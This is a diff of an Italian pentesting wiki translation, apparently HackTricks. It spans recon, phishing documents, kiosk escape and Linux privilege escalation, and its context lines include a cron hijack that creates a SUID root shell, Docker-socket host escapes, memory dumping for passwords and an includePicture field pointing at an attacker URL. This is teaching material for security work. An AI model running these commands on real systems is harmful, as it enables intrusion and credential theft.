Avrai anche bisogno di wordlist di **parole comuni usate nei bucket**: @@ -546,12 +546,12 @@ Se trovi credenziali **valide trapelate**, questa è una vittoria molto facile. ## Secrets Leaks -Le perdite di credenziali sono correlate a hack di aziende dove **informazioni sensibili sono state trapelate e vendute**. Tuttavia, le aziende potrebbero essere colpite da **altre perdite** le cui informazioni non sono in quelle banche dati: +Le perdite di credenziali sono correlate agli attacchi alle aziende dove **informazioni sensibili sono state trapelate e vendute**. Tuttavia, le aziende potrebbero essere colpite da **altre perdite** le cui informazioni non sono in quelle banche dati: ### Github Leaks -Credenziali e API potrebbero essere trapelate nei **repository pubblici** dell'**azienda** o degli **utenti** che lavorano per quell'azienda github.\ -Puoi usare lo **strumento** [**Leakos**](https://github.com/carlospolop/Leakos) per **scaricare** tutti i **repo pubblici** di un'**organizzazione** e dei suoi **sviluppatori** e eseguire [**gitleaks**](https://github.com/zricethezav/gitleaks) su di essi automaticamente. +Credenziali e API potrebbero essere trapelate nei **repository pubblici** dell'**azienda** o degli **utenti** che lavorano per quella azienda su github.\ +Puoi usare lo **strumento** [**Leakos**](https://github.com/carlospolop/Leakos) per **scaricare** tutti i **repository pubblici** di un'**organizzazione** e dei suoi **sviluppatori** e eseguire [**gitleaks**](https://github.com/zricethezav/gitleaks) su di essi automaticamente. **Leakos** può anche essere usato per eseguire **gitleaks** contro tutto il **testo** fornito **URL passati** ad esso poiché a volte **le pagine web contengono anche segreti**. @@ -570,9 +570,9 @@ Puoi usare lo strumento [**Pastos**](https://github.com/carlospolop/Pastos) per ### Google Dorks -I vecchi ma buoni google dorks sono sempre utili per trovare **informazioni esposte che non dovrebbero esserci**. L'unico problema è che il [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene diverse **migliaia** di possibili query che non puoi eseguire manualmente. Quindi, puoi prendere le tue 10 preferite o puoi usare uno **strumento come** [**Gorks**](https://github.com/carlospolop/Gorks) **per eseguirle tutte**. +I vecchi ma buoni google dorks sono sempre utili per trovare **informazioni esposte che non dovrebbero esserci**. L'unico problema è che il [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene diverse **migliaia** di possibili query che non puoi eseguire manualmente. Quindi, puoi prendere le tue 10 preferite o potresti usare uno **strumento come** [**Gorks**](https://github.com/carlospolop/Gorks) **per eseguirle tutte**. -_Nota che gli strumenti che si aspettano di eseguire tutto il database utilizzando il normale browser Google non finiranno mai poiché Google ti bloccherà molto, molto presto._ +_Nota che gli strumenti che si aspettano di eseguire tutto il database utilizzando il normale browser Google non finiranno mai poiché Google ti bloccherà molto molto presto._ ### **Cercare vulnerabilità** @@ -605,12 +605,12 @@ Voglio anche fare una menzione speciale alla sezione [**Web Automated Scanners o Quindi hai già: 1. Trovato tutte le **aziende** all'interno dell'ambito -2. Trovato tutti gli **asset** appartenenti alle aziende (e eseguito alcune scansioni di vulnerabilità se in ambito) +2. Trovato tutte le **risorse** appartenenti alle aziende (e eseguito alcune scansioni di vulnerabilità se nell'ambito) 3. Trovato tutti i **domini** appartenenti alle aziende 4. Trovato tutti i **sottodomini** dei domini (qualche takeover di sottodominio?) 5. Trovato tutti gli **IP** (da e **non da CDN**) all'interno dell'ambito. -6. Trovato tutti i **server web** e fatto uno **screenshot** di essi (qualcosa di strano che valga un'analisi più approfondita?) -7. Trovato tutti i **potenziali asset cloud pubblici** appartenenti all'azienda. +6. Trovato tutti i **server web** e fatto uno **screenshot** di essi (c'è qualcosa di strano che merita un'analisi più approfondita?) +7. Trovato tutte le **potenziali risorse cloud pubbliche** appartenenti all'azienda. 8. **Email**, **perdite di credenziali** e **perdite di segreti** che potrebbero darti una **grande vittoria molto facilmente**. 9. **Pentesting di tutti i siti web che hai trovato** diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index 9eabcfbed..8a2fefe80 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -42,7 +42,7 @@ Se non c'è alcun exploit interessante per alcun servizio in esecuzione, dovrest **Voglio fare una menzione speciale della** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **parte (poiché è la più estesa).**\ Inoltre, una piccola guida su come [**trovare vulnerabilità note nel software**](../generic-hacking/search-exploits.md) può essere trovata qui. -**Se il tuo servizio non è nell'indice, cerca su Google** altri tutorial e **fammi sapere se vuoi che lo aggiunga.** Se non **riesci a trovare nulla** su Google, esegui il tuo **blind pentesting**, potresti iniziare **collegandoti al servizio, fuzzandolo e leggendo le risposte** (se ci sono). +**Se il tuo servizio non è nell'indice, cerca su Google** altri tutorial e **fammi sapere se vuoi che lo aggiunga.** Se non **riesci a trovare nulla** su Google, esegui il tuo **blind pentesting**, potresti iniziare **collegandoti al servizio, fuzzando e leggendo le risposte** (se ci sono). #### 5.1 Strumenti Automatici @@ -60,9 +60,9 @@ Se a questo punto non hai trovato alcuna vulnerabilità interessante, **potresti In qualche modo dovresti aver trovato **un modo per eseguire codice** nella vittima. Quindi, [una lista di possibili strumenti all'interno del sistema che puoi usare per ottenere una reverse shell sarebbe molto utile](../generic-hacking/reverse-shells/index.html). -Specialmente in Windows potresti aver bisogno di aiuto per **evitare gli antivirus**: [**Controlla questa pagina**](../windows-hardening/av-bypass.md)**.**\\ +Specialmente in Windows potresti aver bisogno di aiuto per **evitare gli antivirus**: [**Controlla questa pagina**](../windows-hardening/av-bypass.md)**.** -### 8- Dentro +### 8- Interno Se hai problemi con la shell, puoi trovare qui una piccola **compilazione dei comandi più utili** per i pentester: @@ -72,7 +72,7 @@ Se hai problemi con la shell, puoi trovare qui una piccola **compilazione dei co ### **9 -** [**Esfiltrazione**](../generic-hacking/exfiltration.md) -Probabilmente avrai bisogno di **estrarre alcuni dati dalla vittima** o anche **introdurre qualcosa** (come script di escalation dei privilegi). **Qui hai un** [**post sui comuni strumenti che puoi usare con questi scopi**](../generic-hacking/exfiltration.md)**.** +Probabilmente avrai bisogno di **estrarre alcuni dati dalla vittima** o anche di **introdurre qualcosa** (come script di escalation dei privilegi). **Qui hai un** [**post sui comuni strumenti che puoi usare con questi scopi**](../generic-hacking/exfiltration.md)**.** ### **10- Escalation dei Privilegi** @@ -87,7 +87,7 @@ Dovresti anche controllare queste pagine su come funziona **Windows**: - Come [**rubare credenziali**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows - Alcuni trucchi su [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html) -**Non dimenticare di controllare i migliori strumenti per enumerare i percorsi di Escalation dei Privilegi locali in Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**Non dimenticare di controllare i migliori strumenti per enumerare i percorsi di escalation dei privilegi locali in Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) #### **10.2- Privesc di Dominio** diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 25f992744..853137dc6 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -4,22 +4,22 @@ ## Office Documents -Microsoft Word esegue la convalida dei dati del file prima di aprire un file. La convalida dei dati viene eseguita sotto forma di identificazione della struttura dei dati, rispetto allo standard OfficeOpenXML. Se si verifica un errore durante l'identificazione della struttura dei dati, il file in fase di analisi non verrà aperto. +Microsoft Word esegue la convalida dei dati del file prima di aprire un file. La convalida dei dati viene eseguita sotto forma di identificazione della struttura dei dati, rispetto allo standard OfficeOpenXML. Se si verifica un errore durante l'identificazione della struttura dei dati, il file in analisi non verrà aperto. Di solito, i file Word contenenti macro utilizzano l'estensione `.docm`. Tuttavia, è possibile rinominare il file cambiando l'estensione del file e mantenere comunque le loro capacità di esecuzione delle macro.\ Ad esempio, un file RTF non supporta le macro, per design, ma un file DOCM rinominato in RTF sarà gestito da Microsoft Word e sarà in grado di eseguire macro.\ -Le stesse internals e meccanismi si applicano a tutto il software della Microsoft Office Suite (Excel, PowerPoint, ecc.). +Gli stessi interni e meccanismi si applicano a tutto il software della Microsoft Office Suite (Excel, PowerPoint, ecc.). Puoi utilizzare il seguente comando per controllare quali estensioni verranno eseguite da alcuni programmi Office: ```bash assoc | findstr /i "word excel powerp" ``` -DOCX file che fanno riferimento a un modello remoto (File –Opzioni –Componenti aggiuntivi –Gestisci: Modelli –Vai) che include macro possono “eseguire” anche macro. +DOCX files che fanno riferimento a un modello remoto (File – Opzioni – Componenti aggiuntivi – Gestisci: Modelli – Vai) che include macro possono “eseguire” anche le macro. ### Caricamento Immagine Esterna Vai a: _Inserisci --> Parti Veloci --> Campo_\ -&#xNAN;_**Categorie**: Collegamenti e Riferimenti, **Nomi dei file**: includePicture, e **Nome file o URL**:_ http://\/whatever +_**Categorie**: Collegamenti e Riferimenti, **Nomi dei campi**: includePicture, e **Nome file o URL**:_ http://\/whatever ![](<../../images/image (155).png>) @@ -83,7 +83,7 @@ Fallo perché **non puoi salvare macro all'interno di un `.docx`** e c'è uno ** Un HTA è un programma Windows che **combina HTML e linguaggi di scripting (come VBScript e JScript)**. Genera l'interfaccia utente ed esegue come un'applicazione "completamente fidata", senza i vincoli del modello di sicurezza di un browser. -Un HTA viene eseguito utilizzando **`mshta.exe`**, che è tipicamente **installato** insieme a **Internet Explorer**, rendendo **`mshta` dipendente da IE**. Quindi, se è stato disinstallato, gli HTA non saranno in grado di eseguire. +Un HTA viene eseguito utilizzando **`mshta.exe`**, che è tipicamente **installato** insieme a **Internet Explorer**, rendendo **`mshta` dipendente da IE**. Quindi, se è stato disinstallato, gli HTA non saranno in grado di essere eseguiti. ```html <--! Basic HTA Execution --> @@ -157,6 +157,6 @@ Ci sono diversi modi per **forzare l'autenticazione NTLM "da remoto"**, ad esemp Non dimenticare che non puoi solo rubare l'hash o l'autenticazione ma anche **eseguire attacchi di relay NTLM**: - [**Attacchi di relay NTLM**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) -- [**AD CS ESC8 (relay NTLM ai certificati)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) +- [**AD CS ESC8 (relay NTLM a certificati)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/hardware-physical-access/escaping-from-gui-applications.md b/src/hardware-physical-access/escaping-from-gui-applications.md index cee7fe834..7aa014a35 100644 --- a/src/hardware-physical-access/escaping-from-gui-applications.md +++ b/src/hardware-physical-access/escaping-from-gui-applications.md @@ -8,7 +8,7 @@ | Componente | Azione | | ------------- | ------------------------------------------------------------------ | -| Pulsante di accensione | Spegnere e riaccendere il dispositivo potrebbe esporre la schermata di avvio | +| Pulsante di accensione | Spegnere e riaccendere il dispositivo può esporre la schermata di avvio | | Cavo di alimentazione | Controlla se il dispositivo si riavvia quando l'alimentazione viene interrotta brevemente | | Porte USB | Collega una tastiera fisica con più scorciatoie | | Ethernet | La scansione della rete o il sniffing possono abilitare ulteriori sfruttamenti | @@ -94,7 +94,7 @@ Editor del registro: [https://sourceforge.net/projects/uberregedit/](https://sou - Toggle Keys – Tieni premuto NUMLOCK per 5 secondi - Filter Keys – Tieni premuto SHIFT destro per 12 secondi - WINDOWS+F1 – Ricerca di Windows -- WINDOWS+D – Mostra desktop +- WINDOWS+D – Mostra Desktop - WINDOWS+E – Avvia Windows Explorer - WINDOWS+R – Esegui - WINDOWS+U – Centro accessibilità @@ -113,8 +113,8 @@ Editor del registro: [https://sourceforge.net/projects/uberregedit/](https://sou ### Swipe -- Scorri dal lato sinistro verso destra per vedere tutte le finestre aperte, minimizzando l'app KIOSK e accedendo direttamente all'intero sistema operativo; -- Scorri dal lato destro verso sinistra per aprire il Centro operativo, minimizzando l'app KIOSK e accedendo direttamente all'intero sistema operativo; +- Scorri da sinistra a destra per vedere tutte le finestre aperte, minimizzando l'app KIOSK e accedendo direttamente all'intero sistema operativo; +- Scorri da destra a sinistra per aprire il Centro operativo, minimizzando l'app KIOSK e accedendo direttamente all'intero sistema operativo; - Scorri dal bordo superiore per rendere visibile la barra del titolo per un'app aperta in modalità schermo intero; - Scorri verso l'alto dal basso per mostrare la barra delle applicazioni in un'app a schermo intero. @@ -147,7 +147,7 @@ Digita questi URL per ottenere una vista di Explorer: - `Shell:Windows` - `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Pannello di controllo - `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Il mio computer -- `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> I miei luoghi di rete +- `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Le mie posizioni di rete - `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer ### Mostra le estensioni dei file @@ -159,7 +159,7 @@ Controlla questa pagina per ulteriori informazioni: [https://www.howtohaven.com/ Backup delle versioni iKat: [http://swin.es/k/](http://swin.es/k/)\ -[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\ +[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net) Crea un dialogo comune utilizzando JavaScript e accedi all'esplora file: `document.write('')`\ Fonte: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 @@ -176,26 +176,26 @@ Fonte: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811 - Scorri verso il basso con 1 dito nell'angolo in alto a destra dello schermo: Per vedere il centro di controllo dell'iPad Pro - Scorri 1 dito dal lato sinistro dello schermo per 1-2 pollici: Per vedere la vista Oggi - Scorri rapidamente 1 dito dal centro dello schermo verso destra o sinistra: Per cambiare all'app successiva/precedente -- Tieni premuto il pulsante On/**Off**/Sleep nell'angolo in alto a destra dell'**iPad +** Sposta il cursore di **spegnimento** tutto a destra: Per spegnere +- Tieni premuto il pulsante On/**Off**/Sleep nell'angolo in alto a destra dell'**iPad +** Sposta il cursore per **spegnere** tutto a destra: Per spegnere - Tieni premuto il pulsante On/**Off**/Sleep nell'angolo in alto a destra dell'**iPad e il pulsante Home per alcuni secondi**: Per forzare uno spegnimento completo - Tieni premuto il pulsante On/**Off**/Sleep nell'angolo in alto a destra dell'**iPad e il pulsante Home rapidamente**: Per fare uno screenshot che apparirà in basso a sinistra del display. Premi entrambi i pulsanti contemporaneamente molto brevemente, poiché se li tieni premuti per alcuni secondi verrà eseguito uno spegnimento completo. ### Scorciatoie -Dovresti avere una tastiera per iPad o un adattatore per tastiera USB. Solo le scorciatoie che potrebbero aiutare a uscire dall'applicazione saranno mostrate qui. +Dovresti avere una tastiera per iPad o un adattatore per tastiera USB. Solo le scorciatoie che potrebbero aiutare a uscire dall'app saranno mostrate qui. | Tasto | Nome | | ----- | ------------ | | ⌘ | Comando | | ⌥ | Opzione (Alt) | | ⇧ | Shift | -| ↩ | Ritorno | +| ↩ | Ritorna | | ⇥ | Tab | | ^ | Controllo | | ← | Freccia sinistra | | → | Freccia destra | | ↑ | Freccia su | -| ↓ | Freccia giù | +| ↓ | Freccia giù | #### Scorciatoie di sistema @@ -215,31 +215,31 @@ Queste scorciatoie sono per le impostazioni visive e sonore, a seconda dell'uso #### Navigazione su iPad -| Scorciatoia | Azione | -| ----------------------------------------------------- | ------------------------------------------------------- | -| ⌘H | Vai alla Home | -| ⌘⇧H (Comando-Shift-H) | Vai alla Home | -| ⌘ (Spazio) | Apri Spotlight | +| Scorciatoia | Azione | +| --------------------------------------------------- | ------------------------------------------------------- | +| ⌘H | Vai alla Home | +| ⌘⇧H (Comando-Shift-H) | Vai alla Home | +| ⌘ (Spazio) | Apri Spotlight | | ⌘⇥ (Comando-Tab) | Elenca le ultime dieci app utilizzate | | ⌘\~ | Vai all'ultima app | | ⌘⇧3 (Comando-Shift-3) | Screenshot (si ferma in basso a sinistra per salvare o agire su di esso) | -| ⌘⇧4 | Screenshot e aprilo nell'editor | -| Tieni premuto ⌘ | Elenco delle scorciatoie disponibili per l'app | +| ⌘⇧4 | Screenshot e aprilo nell'editor | +| Tieni premuto ⌘ | Elenco delle scorciatoie disponibili per l'app | | ⌘⌥D (Comando-Opzione/Alt-D) | Mostra il dock | -| ^⌥H (Controllo-Opzione-H) | Pulsante Home | -| ^⌥H H (Controllo-Opzione-H-H) | Mostra la barra multitasking | -| ^⌥I (Controllo-Opzione-i) | Selettore di elementi | +| ^⌥H (Controllo-Opzione-H) | Pulsante Home | +| ^⌥H H (Controllo-Opzione-H-H) | Mostra la barra multitasking | +| ^⌥I (Controllo-Opzione-i) | Selettore di elementi | | Escape | Pulsante Indietro | -| → (Freccia destra) | Prossimo elemento | -| ← (Freccia sinistra) | Elemento precedente | -| ↑↓ (Freccia su, Freccia giù) | Tocca simultaneamente l'elemento selezionato | -| ⌥ ↓ (Opzione-Freccia giù) | Scorri verso il basso | -| ⌥↑ (Opzione-Freccia su) | Scorri verso l'alto | -| ⌥← o ⌥→ (Opzione-Freccia sinistra o Opzione-Freccia destra) | Scorri a sinistra o a destra | -| ^⌥S (Controllo-Opzione-S) | Attiva o disattiva la sintesi vocale | -| ⌘⇧⇥ (Comando-Shift-Tab) | Passa all'app precedente | -| ⌘⇥ (Comando-Tab) | Torna all'app originale | -| ←+→, poi Opzione + ← o Opzione+→ | Naviga attraverso il Dock | +| → (Freccia destra) | Prossimo elemento | +| ← (Freccia sinistra) | Elemento precedente | +| ↑↓ (Freccia su, Freccia giù) | Tocca simultaneamente l'elemento selezionato | +| ⌥ ↓ (Opzione-Freccia giù) | Scorri verso il basso | +| ⌥↑ (Opzione-Freccia su) | Scorri verso l'alto | +| ⌥← o ⌥→ (Opzione-Freccia sinistra o Opzione-Freccia destra) | Scorri a sinistra o a destra | +| ^⌥S (Controllo-Opzione-S) | Attiva o disattiva la sintesi vocale | +| ⌘⇧⇥ (Comando-Shift-Tab) | Passa all'app precedente | +| ⌘⇥ (Comando-Tab) | Torna all'app originale | +| ←+→, poi Opzione + ← o Opzione+→ | Naviga attraverso il Dock | #### Scorciatoie di Safari @@ -251,7 +251,7 @@ Queste scorciatoie sono per le impostazioni visive e sonore, a seconda dell'uso | ⌘R | Aggiorna la scheda corrente | | ⌘. | Ferma il caricamento della scheda corrente | | ^⇥ | Passa alla scheda successiva | -| ^⇧⇥ (Controllo-Shift-Tab) | Passa alla scheda precedente | +| ^⇧⇥ (Controllo-Shift-Tab) | Passa alla scheda precedente | | ⌘L | Seleziona il campo di input/testo URL per modificarlo | | ⌘⇧T (Comando-Shift-T) | Apri l'ultima scheda chiusa (può essere usata più volte) | | ⌘\[ | Torna indietro di una pagina nella cronologia di navigazione | diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 2abbc2e21..7a3665e23 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -14,11 +14,11 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Se **hai permessi di scrittura su qualsiasi cartella all'interno della variabile `PATH`** potresti essere in grado di dirottare alcune librerie o binari: +Se **hai permessi di scrittura su una qualsiasi cartella all'interno della variabile `PATH`** potresti essere in grado di dirottare alcune librerie o binari: ```bash echo $PATH ``` -### Info ambiente +### Env info Informazioni interessanti, password o chiavi API nelle variabili d'ambiente? ```bash @@ -43,7 +43,7 @@ Strumenti che potrebbero aiutare a cercare exploit del kernel sono: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (eseguire SULLA vittima, controlla solo exploit per kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (eseguire NEL vittima, controlla solo exploit per kernel 2.x) Cerca sempre **la versione del kernel su Google**, forse la tua versione del kernel è scritta in qualche exploit del kernel e allora sarai sicuro che questo exploit è valido. @@ -186,10 +186,10 @@ Tuttavia, ricorda che **come utente normale puoi leggere la memoria dei processi > > Il file _**/proc/sys/kernel/yama/ptrace_scope**_ controlla l'accessibilità di ptrace: > -> - **kernel.yama.ptrace_scope = 0**: tutti i processi possono essere debugged, purché abbiano lo stesso uid. Questo è il modo classico in cui funzionava ptracing. +> - **kernel.yama.ptrace_scope = 0**: tutti i processi possono essere debugged, purché abbiano lo stesso uid. Questo è il modo classico in cui funzionava il ptracing. > - **kernel.yama.ptrace_scope = 1**: solo un processo padre può essere debugged. > - **kernel.yama.ptrace_scope = 2**: solo l'amministratore può utilizzare ptrace, poiché richiede la capacità CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: Nessun processo può essere tracciato con ptrace. Una volta impostato, è necessario un riavvio per abilitare nuovamente ptracing. +> - **kernel.yama.ptrace_scope = 3**: Nessun processo può essere tracciato con ptrace. Una volta impostato, è necessario un riavvio per abilitare nuovamente il ptracing. #### GDB @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Per un dato ID di processo, **maps mostra come la memoria è mappata all'interno dello spazio degli indirizzi virtuali di quel processo**; mostra anche le **permissive di ciascuna regione mappata**. Il **mem** pseudo file **espone la memoria dei processi stessi**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Utilizziamo queste informazioni per **cercare nel file mem e scaricare tutte le regioni leggibili** in un file. +Per un dato ID di processo, **maps mostra come la memoria è mappata all'interno dello spazio degli indirizzi virtuali di quel processo**; mostra anche le **permissive di ciascuna regione mappata**. Il **mem** pseudo file **espone la memoria dei processi stessi**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Utilizziamo queste informazioni per **cercare nel file mem e dumpare tutte le regioni leggibili** in un file. ```bash procdump() ( @@ -230,7 +230,7 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` fornisce accesso alla **memoria** fisica del sistema, non alla memoria virtuale. Lo spazio degli indirizzi virtuali del kernel può essere accessibile utilizzando /dev/kmem.\ +`/dev/mem` fornisce accesso alla **memoria** fisica del sistema, non alla memoria virtuale. Lo spazio degli indirizzi virtuali del kernel può essere accesso utilizzando /dev/kmem.\ Tipicamente, `/dev/mem` è leggibile solo da **root** e dal gruppo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS @@ -290,14 +290,14 @@ strings *.dump | grep -i password Lo strumento [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **ruba le credenziali in chiaro dalla memoria** e da alcuni **file ben noti**. Richiede privilegi di root per funzionare correttamente. -| Caratteristica | Nome Processo | -| --------------------------------------------------- | -------------------- | -| Password GDM (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Connessioni FTP Attive) | vsftpd | -| Apache2 (Sessioni HTTP Basic Auth Attive) | apache2 | -| OpenSSH (Sessioni SSH Attive - Uso di Sudo) | sshd: | +| Caratteristica | Nome Processo | +| -------------------------------------------------- | -------------------- | +| Password GDM (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (Connessioni FTP Attive) | vsftpd | +| Apache2 (Sessioni HTTP Basic Auth Attive) | apache2 | +| OpenSSH (Sessioni SSH Attive - Uso di Sudo) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -327,14 +327,14 @@ Ad esempio, all'interno di _/etc/crontab_ puoi trovare il PATH: _PATH=**/home/us (_Nota come l'utente "user" abbia privilegi di scrittura su /home/user_) -Se all'interno di questo crontab l'utente root cerca di eseguire qualche comando o script senza impostare il path. Ad esempio: _\* \* \* \* root overwrite.sh_\ +Se all'interno di questo crontab l'utente root cerca di eseguire qualche comando o script senza impostare il percorso. Ad esempio: _\* \* \* \* root overwrite.sh_\ Allora, puoi ottenere una shell root usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron usando uno script con un carattere jolly (Wildcard Injection) +### Cron utilizzando uno script con un carattere jolly (Wildcard Injection) Se uno script eseguito da root contiene un “**\***” all'interno di un comando, potresti sfruttarlo per fare cose inaspettate (come privesc). Esempio: ```bash @@ -360,11 +360,11 @@ Se lo script eseguito da root utilizza una **directory a cui hai accesso complet ```bash ln -d -s ``` -### Lavori cron frequenti +### Frequent cron jobs -Puoi monitorare i processi per cercare quelli che vengono eseguiti ogni 1, 2 o 5 minuti. Potresti approfittarne e aumentare i privilegi. +Puoi monitorare i processi per cercare processi che vengono eseguiti ogni 1, 2 o 5 minuti. Forse puoi approfittarne e aumentare i privilegi. -Ad esempio, per **monitorare ogni 0,1s per 1 minuto**, **ordinare per comandi meno eseguiti** e eliminare i comandi che sono stati eseguiti di più, puoi fare: +Ad esempio, per **monitorare ogni 0.1s per 1 minuto**, **ordinare per comandi meno eseguiti** e eliminare i comandi che sono stati eseguiti di più, puoi fare: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` @@ -385,7 +385,7 @@ Ad esempio, crea il tuo backdoor all'interno del file .service con **`ExecStart= ### Binaries di servizio scrivibili -Tieni presente che se hai **permessi di scrittura sui binary eseguiti dai servizi**, puoi cambiarli con backdoor in modo che quando i servizi vengono rieseguiti, le backdoor vengano eseguite. +Tieni presente che se hai **permessi di scrittura sui binari eseguiti dai servizi**, puoi cambiarli con backdoor in modo che quando i servizi vengono rieseguiti, le backdoor vengano eseguite. ### systemd PATH - Percorsi relativi @@ -405,7 +405,7 @@ Poi, crea un **eseguibile** con lo **stesso nome del percorso relativo del binar ## **Timer** -I **Timer** sono file di unità systemd il cui nome termina con `**.timer**` che controllano i file o eventi `**.service**`. I **Timer** possono essere utilizzati come alternativa a cron poiché hanno supporto integrato per eventi di tempo del calendario e eventi di tempo monotono e possono essere eseguiti in modo asincrono. +I **Timer** sono file di unità systemd il cui nome termina con `**.timer**` che controllano i file o eventi `**.service**`. I **Timer** possono essere utilizzati come alternativa a cron poiché hanno supporto integrato per eventi di tempo calendario ed eventi di tempo monotono e possono essere eseguiti in modo asincrono. Puoi enumerare tutti i timer con: ```bash @@ -449,12 +449,12 @@ I sockets possono essere configurati utilizzando file `.socket`. - `Accept`: Accetta un argomento booleano. Se **vero**, una **istanza di servizio viene generata per ogni connessione in arrivo** e solo il socket di connessione viene passato ad essa. Se **falso**, tutti i sockets di ascolto stessi sono **passati all'unità di servizio avviata**, e solo un'unità di servizio viene generata per tutte le connessioni. Questo valore viene ignorato per i sockets datagram e le FIFO dove un'unica unità di servizio gestisce incondizionatamente tutto il traffico in arrivo. **Di default è falso**. Per motivi di prestazioni, si raccomanda di scrivere nuovi demoni solo in un modo che sia adatto per `Accept=no`. - `ExecStartPre`, `ExecStartPost`: Accetta una o più righe di comando, che vengono **eseguite prima** o **dopo** che i **sockets**/FIFO di ascolto siano **creati** e legati, rispettivamente. Il primo token della riga di comando deve essere un nome di file assoluto, seguito da argomenti per il processo. - `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i **sockets**/FIFO di ascolto siano **chiusi** e rimossi, rispettivamente. -- `Service`: Specifica il nome dell'unità di **servizio** **da attivare** su **traffico in arrivo**. Questa impostazione è consentita solo per sockets con Accept=no. Di default è il servizio che porta lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi, non dovrebbe essere necessario utilizzare questa opzione. +- `Service`: Specifica il nome dell'unità di **servizio** **da attivare** su **traffico in arrivo**. Questa impostazione è consentita solo per i sockets con Accept=no. Di default è il servizio che porta lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi, non dovrebbe essere necessario utilizzare questa opzione. ### File .socket scrivibili Se trovi un file `.socket` **scrivibile** puoi **aggiungere** all'inizio della sezione `[Socket]` qualcosa come: `ExecStartPre=/home/kali/sys/backdoor` e la backdoor verrà eseguita prima che il socket venga creato. Pertanto, **probabilmente dovrai aspettare fino a quando la macchina non verrà riavviata.**\ -&#xNAN;_Nota che il sistema deve utilizzare quella configurazione del file socket o la backdoor non verrà eseguita_ +_Nota che il sistema deve utilizzare quella configurazione del file socket o la backdoor non verrà eseguita_ ### Sockets scrivibili @@ -498,7 +498,7 @@ Se hai accesso in scrittura al socket Docker, puoi elevare i privilegi utilizzan docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Questi comandi ti consentono di eseguire un contenitore con accesso a livello root al file system dell'host. +Questi comandi ti consentono di eseguire un container con accesso a livello root al file system dell'host. #### **Utilizzando direttamente l'API Docker** @@ -510,19 +510,19 @@ Nei casi in cui il Docker CLI non sia disponibile, il socket Docker può comunqu curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Crea un contenitore:** Invia una richiesta per creare un contenitore che monta 